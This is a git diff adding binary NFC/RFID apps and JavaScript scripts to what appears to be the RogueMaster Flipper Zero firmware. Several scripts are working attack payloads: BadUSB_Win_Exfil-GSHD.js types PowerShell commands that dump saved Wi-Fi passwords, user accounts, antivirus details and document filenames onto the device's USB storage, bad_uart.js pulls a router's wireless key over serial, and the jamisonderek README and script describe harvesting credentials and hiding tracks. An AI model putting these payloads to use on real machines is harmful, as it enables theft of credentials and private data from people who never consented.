RM)/RogueMaster/Media/ocarina.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/ocarina.fap new file mode 100644 index 000000000..b933a8be4 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Media/ocarina.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/sam.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/sam.fap new file mode 100644 index 000000000..e5c5ff5aa Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Media/sam.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/sam_no.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/sam_no.fap new file mode 100644 index 000000000..345b60cb6 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Media/sam_no.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/sam_wtf.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/sam_wtf.fap new file mode 100644 index 000000000..e202ed57a Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Media/sam_wtf.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/sam_yes.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/sam_yes.fap new file mode 100644 index 000000000..a4b39889e Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Media/sam_yes.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/text2sam.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/text2sam.fap new file mode 100644 index 000000000..71a2febc9 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Media/text2sam.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/tuning_fork.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/tuning_fork.fap new file mode 100644 index 000000000..2a8618f8f Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Media/tuning_fork.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/video_player.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/video_player.fap new file mode 100644 index 000000000..2b1d759ca Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Media/video_player.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/wav_player.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/wav_player.fap new file mode 100644 index 000000000..3027e94c3 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Media/wav_player.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/aic.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/aic.fap new file mode 100644 index 000000000..d6d37ca22 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/NFC/aic.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/cyborg_detector.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/cyborg_detector.fap new file mode 100644 index 000000000..e4a1da526 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/NFC/cyborg_detector.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/metroflip.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/metroflip.fap new file mode 100644 index 000000000..d88487ffc Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/NFC/metroflip.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/mfc_editor.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/mfc_editor.fap new file mode 100644 index 000000000..d4c2e69ef Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/NFC/mfc_editor.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/mfkey.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/mfkey.fap new file mode 100644 index 000000000..6af82e763 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/NFC/mfkey.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/mifare_fuzzer.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/mifare_fuzzer.fap new file mode 100644 index 000000000..64b4361a1 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/NFC/mifare_fuzzer.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc.fap new file mode 100644 index 000000000..6c688dff2 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_apdu_runner.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_apdu_runner.fap new file mode 100644 index 000000000..d5ea949d1 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_apdu_runner.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_comparator.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_comparator.fap new file mode 100644 index 000000000..76eb98fed Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_comparator.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_detector.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_detector.fap new file mode 100644 index 000000000..74063f8ff Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_detector.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_eink.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_eink.fap new file mode 100644 index 000000000..543ddc348 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_eink.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_keyboard.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_keyboard.fap new file mode 100644 index 000000000..a58d69658 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_keyboard.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_magic.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_magic.fap new file mode 100644 index 000000000..28e2c40ec Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_magic.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_maker.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_maker.fap new file mode 100644 index 000000000..3cb8ea882 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_maker.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_playlist.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_playlist.fap new file mode 100644 index 000000000..ef5d710d2 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_playlist.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_relay.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_relay.fap new file mode 100644 index 000000000..21aacc70b Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_relay.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfcurl.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfcurl.fap new file mode 100644 index 000000000..b0580967f Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfcurl.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/passy.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/passy.fap new file mode 100644 index 000000000..2f0171fee Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/NFC/passy.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/picopass.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/picopass.fap new file mode 100644 index 000000000..38310fd52 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/NFC/picopass.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/seader.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/seader.fap new file mode 100644 index 000000000..85845731f Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/NFC/seader.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/seos.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/seos.fap new file mode 100644 index 000000000..badb87b6c Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/NFC/seos.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/t_union_master.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/t_union_master.fap new file mode 100644 index 000000000..2fa9614a2 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/NFC/t_union_master.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/tullave.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/tullave.fap new file mode 100644 index 000000000..d36cd6b21 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/NFC/tullave.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/vb_migrate.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/vb_migrate.fap new file mode 100644 index 000000000..0daa01a6d Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/NFC/vb_migrate.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/weebo.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/weebo.fap new file mode 100644 index 000000000..21713b960 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/NFC/weebo.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/RFID/dcf77.fap b/Applications/Custom (UL, RM)/RogueMaster/RFID/dcf77.fap new file mode 100644 index 000000000..5826a269f Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/RFID/dcf77.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/RFID/dcf77_clock_sync.fap b/Applications/Custom (UL, RM)/RogueMaster/RFID/dcf77_clock_sync.fap new file mode 100644 index 000000000..11003e523 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/RFID/dcf77_clock_sync.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/RFID/em4100_key_generator.fap b/Applications/Custom (UL, RM)/RogueMaster/RFID/em4100_key_generator.fap new file mode 100644 index 000000000..ea3e60704 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/RFID/em4100_key_generator.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/RFID/lfrfid.fap b/Applications/Custom (UL, RM)/RogueMaster/RFID/lfrfid.fap new file mode 100644 index 000000000..089daf61c Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/RFID/lfrfid.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/RFID/nfc_rfid_detector.fap b/Applications/Custom (UL, RM)/RogueMaster/RFID/nfc_rfid_detector.fap new file mode 100644 index 000000000..3432bf9e9 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/RFID/nfc_rfid_detector.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/RFID/rfid_beacon.fap b/Applications/Custom (UL, RM)/RogueMaster/RFID/rfid_beacon.fap new file mode 100644 index 000000000..880af4da3 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/RFID/rfid_beacon.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/RFID/rfid_fuzzer.fap b/Applications/Custom (UL, RM)/RogueMaster/RFID/rfid_fuzzer.fap new file mode 100644 index 000000000..05c01104a Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/RFID/rfid_fuzzer.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/RFID/t5577_multiwriter.fap b/Applications/Custom (UL, RM)/RogueMaster/RFID/t5577_multiwriter.fap new file mode 100644 index 000000000..21847f07f Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/RFID/t5577_multiwriter.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/RFID/t5577_writer.fap b/Applications/Custom (UL, RM)/RogueMaster/RFID/t5577_writer.fap new file mode 100644 index 000000000..2444b584e Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/RFID/t5577_writer.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/BadUSB_Win_Exfil-GSHD.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/BadUSB_Win_Exfil-GSHD.js new file mode 100644 index 000000000..59b4f92a8 --- /dev/null +++ b/Applications/Custom (UL, RM)/RogueMaster/Scripts/BadUSB_Win_Exfil-GSHD.js @@ -0,0 +1,85 @@ +// Original: [JS Script: BadUSB_Win_Exfil-GSHD.js (By Gas Station Hot Dog)](https://github.com/User84User/User84PublicUser/blob/main/Windows_Exfil-GSHD.js) +// Updated BadUSB Win Exfil JS Script (By Gas Station Hot Dog & b0r0xZ & mistura.) (Comments added along with more commands) +//MassStorage Name +let image = "/ext/apps_assets/mass_storage/test.img"; +//MassStorage Size +let size = 8 * 1024 * 1024; +//Le Script +let script = [ + "$Date = Get-Date -Format yyyy-MM-dd;",//Get Date + "$Time = Get-Date -Format hh-mm-ss;",//Get Time + "Get-CimInstance -ClassName Win32_ComputerSystem >> stats.txt;", //Listing computer manufacturer and model + "Get-LocalUser >> stats.txt;", //List users on the system + "Get-LocalUser | Where-Object -Property PasswordRequired -Match false >> stats.txt;", //Which users has password required set to false + "Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct >> stats.txt;", // List which AntiVirus Product is being used + "Get-CimInstance -ClassName Win32_QuickFixEngineering >> stats.txt;", // Listing installed hotfixes + "(netsh wlan show profiles) | Select-String '\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\\W+\\:(.+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{PROFILE_NAME=$name;PASSWORD=$pass}} | Format-Table -AutoSize >> stats.txt;",//Get network profiles with passwords + "dir env: >> stats.txt;", //Check ENV + "Get-Computerinfo >> stats.txt;", //ComputerInfo + "Get-Service >> stats.txt;", // Get runing services + "Get-NetIPAddress -AddressFamily IPv4 | Select-Object IPAddress,SuffixOrigin | where IPAddress -notmatch '(127.0.0.1|169.254.\d+.\d+)' >> stats.txt;", //Check all IPV4 sufix that is not localhost + "Get-NetTCPConnection | Where-Object -Property State -Match Listen >> stats.txt;", //List listening ports + "Get-NetTCPConnection | Select-Object -Property * >> stats.txt;", // Get TCP information, ports, state etc.. + "Get-ChildItem -Path $userDir -Include *.txt, *.doc, *.docx, *.pptx, *.xlsx, *.pdf, *.jpg, *.png, *.mp3, *.mp4, *.zip, *.rar -Recurse >> stats.txt",//Exfil FileNames +]; + +//Script crawler +let command = ""; +for (let i = 0; i < script.length; i++) { + command += script[i]; +} + +//Requirements +let badusb = require("badusb"); +let usbdisk = require("usbdisk"); +let storage = require("storage"); + +//Check if MassStorage image Exists... +print("Checking for Image..."); +if (storage.exists(image)) { + print ("Storage Exists."); +} +//Create MassStorage in case it doesnt exists +else { + print ("Creating Storage..."); + usbdisk.createImage(image, size); +} + +//VID&PID as HID +badusb.setup({ vid: 0xAAAA, pid: 0xBBBB, mfr_name: "Flipper", prod_name: "Zero" }); +print("Waiting for connection"); + +//Keep Connected +while (!badusb.isConnected()) { + delay(1000); +} + +//Program Start!! +badusb.press("GUI", "x");//Open admin tools menu +delay(300); +badusb.press("i");//Select PowerShell +delay(3000); +//Uncomment this to work with "Run", also comment the 1st part that works with the admin tools menu +/* +badusb.press("GUI", "r");//Open Run +delay(300); +badusb.println("powershell"); +badusb.press("ENTER"); +*/ +print("Running payload"); +badusb.println(command, 10);//Run Script Crawler +badusb.press("ENTER"); +badusb.println("echo 'Please wait until this Window closes to eject the disk!'; Start-Sleep 10; $DriveLetter = Get-Disk -FriendlyName 'Flipper Mass Storage' | Get-Partition | Get-Volume | Select-Object -ExpandProperty DriveLetter; New-Item -ItemType Directory -Force -Path ${DriveLetter}:\\${Date}\\; Move-Item -Path stats.txt -Destination ${DriveLetter}:\\${Date}\\${env:computername}_${Time}.txt; exit")//Find Disk Partition to save +badusb.press("ENTER"); +badusb.quit(); +delay(2000); +usbdisk.start(image);//Open MassStorage Folder +print("Please wait until powershell window closes to eject..."); + +//Ejected check +while (!usbdisk.wasEjected()) { + delay(1000); +} +//Stop Script +usbdisk.stop(); +print("Done"); \ No newline at end of file diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/BadUSB_Win_RogueMasterHome.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/BadUSB_Win_RogueMasterHome.js new file mode 100644 index 000000000..eafc96aa5 --- /dev/null +++ b/Applications/Custom (UL, RM)/RogueMaster/Scripts/BadUSB_Win_RogueMasterHome.js @@ -0,0 +1,21 @@ +let badusb = require("badusb"); +let notify = require("notification"); +badusb.setup({ vid: 0xAAAA, pid: 0xBBBB, mfr_name: "Flipper", prod_name: "Zero" }); + +print("Waiting for connection"); +while (!badusb.isConnected()) { + delay(1000); +} + +function OpenSiteWin() +{ + badusb.press("GUI", "r"); + delay(100); + badusb.println("https://rogue-master.net", 1); + delay(100); +} +if (badusb.isConnected()) +{ + OpenSiteWin(); + print("Executed"); +} \ No newline at end of file diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/adc.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/adc.js new file mode 100644 index 000000000..0506d348c --- /dev/null +++ b/Applications/Custom (UL, RM)/RogueMaster/Scripts/adc.js @@ -0,0 +1,42 @@ +// This is an example of how to use the analog pins (ADC) on the Flipper Zero. +// The example uses a reference voltage of 2048mV (2.048V), but you can also use 2500mV (2.5V). +// The example reads the values of the analog pins A7, A6, and A4 and prints them to the console. +// The example also checks if the value of A7 is twice the value of A6 and breaks the loop if it is. +// The example uses the analog pins A7, A6, and A4, but you can also use PC3, PC1, and PC0. + +let gpio = require("gpio"); + +// initialize pins A7, A6, A4 as analog (you can also use PC3, PC1, PC0) +gpio.init("PA7", "analog", "no"); // pin, mode, pull +gpio.init("PA6", "analog", "no"); // pin, mode, pull +gpio.init("PA4", "analog", "no"); // pin, mode, pull + +gpio.startAnalog(2048); // vRef = 2.048V (you can also use 2500 for a 2.5V reference voltage) + +while (true) { + let pa7_value = gpio.readAnalog("PA7"); + let pa6_value = gpio.readAnalog("PA6"); + let pa4_value = gpio.readAnalog("PA4"); + print("A7: " + to_string(pa7_value) + " A6: " + to_string(pa6_value) + " A4: " + to_string(pa4_value)); + delay(100); + if (pa7_value === pa6_value * 2) { + break; + } +} +print("A7 is twice A6!"); + +gpio.stopAnalog(); + +// possible analog pins https://docs.flipper.net/gpio-and-modules#miFsS +// "PA7" aka 2 +// "PA6" aka 3 +// "PA4" aka 4 +// "PC3" aka 7 +// "PC1" aka 15 +// "PC0" aka 16 + +// possible modes +// "analog" + +// possible pull +// "no" diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/array_buf_test.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/array_buf_test.js new file mode 100644 index 000000000..ddb572ee7 --- /dev/null +++ b/Applications/Custom (UL, RM)/RogueMaster/Scripts/array_buf_test.js @@ -0,0 +1,8 @@ +let arr_1 = Uint8Array([0, 1, 2, 3, 4, 5, 6, 7, 8, 9]); +print("len =", arr_1.buffer.byteLength); + +let arr_2 = Uint8Array(arr_1.buffer.slice(2, 6)); +print("slice len =", arr_2.buffer.byteLength); +for (let i = 0; i < arr_2.buffer.byteLength; i++) { + print(arr_2[i]); +} diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/bad_uart.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/bad_uart.js new file mode 100644 index 000000000..9396a3464 --- /dev/null +++ b/Applications/Custom (UL, RM)/RogueMaster/Scripts/bad_uart.js @@ -0,0 +1,20 @@ +let serial = require("serial"); +serial.setup("lpuart", 115200); + +// serial.write("\n"); +serial.write([0x0a]); +let console_resp = serial.expect("# ", 1000); +if (console_resp === undefined) { + print("No CLI response"); +} else { + serial.write("uci\n"); + let uci_state = serial.expect([": not found", "Usage: "]); + if (uci_state === 1) { + serial.expect("# "); + serial.write("uci show wireless\n"); + serial.expect(".key="); + print("key:", serial.readln()); + } else { + print("uci cmd not found"); + } +} diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/badusb_demo.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/badusb_demo.js new file mode 100644 index 000000000..be94a64d2 --- /dev/null +++ b/Applications/Custom (UL, RM)/RogueMaster/Scripts/badusb_demo.js @@ -0,0 +1,48 @@ +let badusb = require("badusb"); +let notify = require("notification"); +let flipper = require("flipper"); +let dialog = require("dialog"); + +badusb.setup({ + vid: 0xAAAA, + pid: 0xBBBB, + mfr_name: "Flipper", + prod_name: "Zero", + layout_path: "/ext/badusb/assets/layouts/en-US.kl" +}); +dialog.message("BadUSB demo", "Press OK to start"); + +if (badusb.isConnected()) { + notify.blink("green", "short"); + print("USB is connected"); + + badusb.println("Hello, world!"); + + badusb.press("CTRL", "a"); + badusb.press("CTRL", "c"); + badusb.press("DOWN"); + delay(1000); + badusb.press("CTRL", "v"); + delay(1000); + badusb.press("CTRL", "v"); + + badusb.println("1234", 200); + + badusb.println("Flipper Model: " + flipper.getModel()); + badusb.println("Flipper Name: " + flipper.getName()); + badusb.println("Battery level: " + to_string(flipper.getBatteryCharge()) + "%"); + + // Alt+Numpad method works only on Windows!!! + badusb.altPrintln("This was printed with Alt+Numpad method!"); + + // There's also badusb.print() and badusb.altPrint() + // which don't add the return at the end + + notify.success(); +} else { + print("USB not connected"); + notify.error(); +} + +// Optional, but allows to interchange with usbdisk +badusb.quit(); \ No newline at end of file diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/badusbdemo_jamisonderek.README.md b/Applications/Custom (UL, RM)/RogueMaster/Scripts/badusbdemo_jamisonderek.README.md new file mode 100644 index 000000000..6bd494357 --- /dev/null +++ b/Applications/Custom (UL, RM)/RogueMaster/Scripts/badusbdemo_jamisonderek.README.md @@ -0,0 +1,89 @@ +# BadUSB + +[![FlipperZero: BadUSB JavaScript](https://img.youtube.com/vi/DAUQGeG4pc4/0.jpg)](https://youtu.be/DAUQGeG4pc4) + +This script was created for the [YouTube video](https://youtu.be/DAUQGeG4pc4) to demonstrate various concepts in JavaScript running on the Flipper Zero, using a real world scenario. + +## Overview summary +This script uses features that were introduced in the dev branch of Momentum firmware on April 5, 2024. You need to be sure your firmware is updated or else you will get errors running the script. + +This script will copy an MP3 file from the Flipper to the computer, play it on the computer, run commands to get information from the computer (like wifi credentials), copy the output back to the Flipper Zero, and display it and append it on a local file on the Flipper. It will also automate switching between keyboard, disk, ejecting devices. + +Many of these ideas are from the Momentum Discord server's script-sharing channel. I encourage you to check out the various scripts being shared there. + +## Detailed summary +This script will: + +- Use `storage` APIs to see if a virtual USB disk image exists. If it does, it will delete it. It then creates a new virtual USB disk image using the `usbdisk` APIs. It will then use `storage` APIs to mount the virtual USB disk image and then it will use the `copy` function to copy a file from the SD card onto the virtual USB disk. It will then unmount the virtual USB disk image. +- Next it will use `badusb` APIs to emulate a keyboard with the specified language layout. +- It will then display a `Waiting for connection` message on the screen to indicate that the Flipper Zero is ready to be connected to a computer. It uses `badusb` APIs to wait for a connection. +- It will launch PowerShell on the connected computer (`Windows+x` then `i`). +- It creates a temporary directory on the computer and then switches to that directory. +- It then types all of the commands in the script array (e.g. get ips, get wifi creds, etc.) into the PowerShell window. These commands should save output into the `localFileName`. +- It then types commands to scan for the virtual USB disk to be attached and then set the $DriveLetter variable to the drive letter of the virtual USB disk. +- If copyPayload is true, it will type commands to copy the payload file from the virtual USB disk to the temporary directory on the computer. +- If playPayload is true, it will type commands to play the payload file on the computer. +- If at least one script command is specified, it will type commands to copy the output file from the temporary directory on the computer to the virtual USB disk. +- It will then type commands to eject the drive (signaling that the script is done). +- It will then type commands to hide it's tracks (somewhat) and close the PowerShell window. +- At this point the `badusb` APIs will disconnect the Flipper Zero from the computer. +- The `usbdisk` APIs will then attach the virtual USB disk image. +- At this point the above scripts will detect the virtual USB disk image, and run the above commands, which will eventually finish by ejecting the virtual USB disk image. +- The `usbdisk` APIs will detect the detach the virtual USB disk image. +- The `usbdisk` APIs will then stop the virtual USB disk image. +- If at least one script command is specified, it will then use the `storage` APIs to mount the virtual USB disk image. It will read the output file from the virtual USB disk image and display it on the screen using the `textbox` APIs. It will also append the output file to the `loot.txt` file on the SD card. +- Once the back button is pressed, the storage APIs will unmount the image. + +## Config +Edit the [badusbdemo.js](./badusbdemo.js) file to customize the script. The following are the settings that should be changed: + +- Make sure `layout` is set to the correct keyboard layout for the computer (like `en-US`, `en-UK`, etc). See your [/ext/badusb/assets/layouts](https://github.com/Next-Flip/Momentum-Firmware/tree/dev/applications/main/bad_kb/resources/badusb/assets/layouts) for the list of supported latouts. +- `localTempFolder` is the temporary folder that will created on the computer. You do not need to change this. +- `localFileName` is the name of the output file that will be used by scripts. You do not need to change this. +- `script` array is the list of scripts to run. + - If it is empty, then the MP3 will be copied and played, but no scripts will be run. + - If it has at least one element, then the MP3 will be copied and played, and the scripts will be run. + - Your commands should save output into the `localFileName`. + - If you use a quote mark in your command, you should escape it with a backslash (e.g. `\"`). + - Commands should end with a comma. +- `copyPayload` is `true` to copy the payload file from the Flipper to the computer (otherwise `false`). +- `playPayload` is `true` to play the payload file on the computer (otherwise `false`). +- `payloadName` is the name of the payload file to copy and play. +- `payloadSrcName` is the path to the file. You do not need to change this. It it expected that the script will also contains a `payloads` folder with this file. +- `payloadDstName` is the name of the file on virtual USB disk. You do not need to change this. +- `lootFile` is the name of the file on the SD card to append the output file to. You do not need to change this. This will be saved in the same folder as the script. +- `exfilCapacityMb` is the size of the virtual USB disk image in MB. You do not need to change this unless your payload is >4MB. +- `image` is the name of the virtual USB disk image. You do not need to change this. +- `flipperStorageName` is the name of the virtual USB disk image when it is attached to the Flipper Zero. You should not change this (the driver currently hard-codes this name). +- `resultFolder` is the name of the folder on the virtual USB disk image where the output file will be saved. You do not need to change this. +- `resultFileName` is the name of the output file on the virtual USB disk image. You do not need to change this. + +## Setup + +- Copy the [badusbdemo.js](./badusbdemo.js) file to the Flipper Zero. It should be stored in `SD Card/apps/Scripts/badusbdemo.js`. +- Create a `payloads` folder in the same folder as the script (`SD Card/apps/Scripts/payload`). +- Create a `demo.mp3` file in the `payloads` folder. This file will be copied to the computer and played. This file should be less than 4MB (your `exfilCapacityMb`). + +## Running + +- Make sure you have the latest dev firmware installed on your Flipper. +- On the Flipper click the OK button, then choose `Apps`, then choose `Scripts`, then choose `badusbdemo.js`. +- Connect the Flipper Zero to the computer when prompted with `Waiting for connection`. +- The script will run and eventually disconnect the Flipper Zero from the computer. +- The script will finish and the output will be displayed on the screen and appended to the `loot.txt` file on the SD card in the (`SD Card/apps/Scripts/loot.txt`). + +## Troubleshooting +- If you get... `"textbox" module load fail at :23` -- Your firmware is too old. You need to update to the latest dev branch of the firmware. +- If you get... `"file/dir not exist at :71"` -- You need to put demo.mp3 (all lowercase) in `SD Card/apps/Scripts/payloads/demo.mp3`. The MP3 file I saved in payloads/demo.mp3 for the video was https://www.soundboard.com/track/download/156453 +- If you get... `"out of memory"` -- Reboot the Flipper (BACK+LEFT buttons) before running the script to free up memory. +- If you get a different error, **please let me know** (ideally take a picture of the error with your phone) so I can investigate it. Even if you figure it out, it would be great to add to this troubleshooting section. + +## Support + +If you have any questions, please ask in my [Flipper Zero Discord](https://discord.com/invite/NsjCvqwPAd) server. There are also giveaways and other fun things happening there. + +Support my work: +- Option 1. [Like, Subscribe and click the Bell (to get notified)](https://youtu.be/DAUQGeG4pc4) +- Option 2. [https://ko-fi.com/codeallnight](https://ko-fi.com/codeallnight) (donate $3 via PayPal or Venmo) +- Option 3. Click the "Thanks" button on [YouTube](https://youtu.be/DAUQGeG4pc4). +- Option 4. Purchase a [FlipBoard](https://github.com/MakeItHackin/FlipBoard) (I get a portion of the sale). diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/badusbdemo_jamisonderek.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/badusbdemo_jamisonderek.js new file mode 100644 index 000000000..d89d23825 --- /dev/null +++ b/Applications/Custom (UL, RM)/RogueMaster/Scripts/badusbdemo_jamisonderek.js @@ -0,0 +1,200 @@ +// JavaScript demo of running Windows powershell scripts. This +// demo is based on lots of the previous scripts that were shared +// in the Momentum Discord channel. + +// The payloads in this script were demonstrated in +// Talking Sasquach's video https://youtu.be/8USI98_5GeU?t=447 +// +// The improvements are: +// - Populating the USB drive with payloads. +// - PowerShell polling for the USB drive to be attached. +// - Badusb using keyboard layouts (handling non-US keyboards). +// - Copying a file from USB to local drive. +// - Playing an MP3 file. +// - PowerShell ejecting the USB drive when done. +// - Displaying the results on the Flipper screen. + +// For documentation on configuration see: +// https://github.com/jamisonderek/flipper-zero-tutorials/blob/main/js/badusb/README.md + +let badusb = require("badusb"); +let usbdisk = require("usbdisk"); +let storage = require("storage"); +let textbox = require("textbox"); + +// ************ +// IMPORTANT: Be sure this matches your computer keyboard layout!!! +// See /ext/badusb/assets/layouts/ for list of supported keyboard layouts. +let layout = "en-US"; + +// Local file to store system information. +let localTempFolder = "flipper"; +let localFileName = "info.txt"; + +// Update this script to include the commands you want to run. +let script = [ + "Get-NetIPAddress -AddressFamily IPv4 | Select-Object IPAddress,SuffixOrigin | where IPAddress -notmatch '(127.0.0.1|169.254.\\d+.\\d+)' >> " + localFileName + ";", + "(netsh wlan show 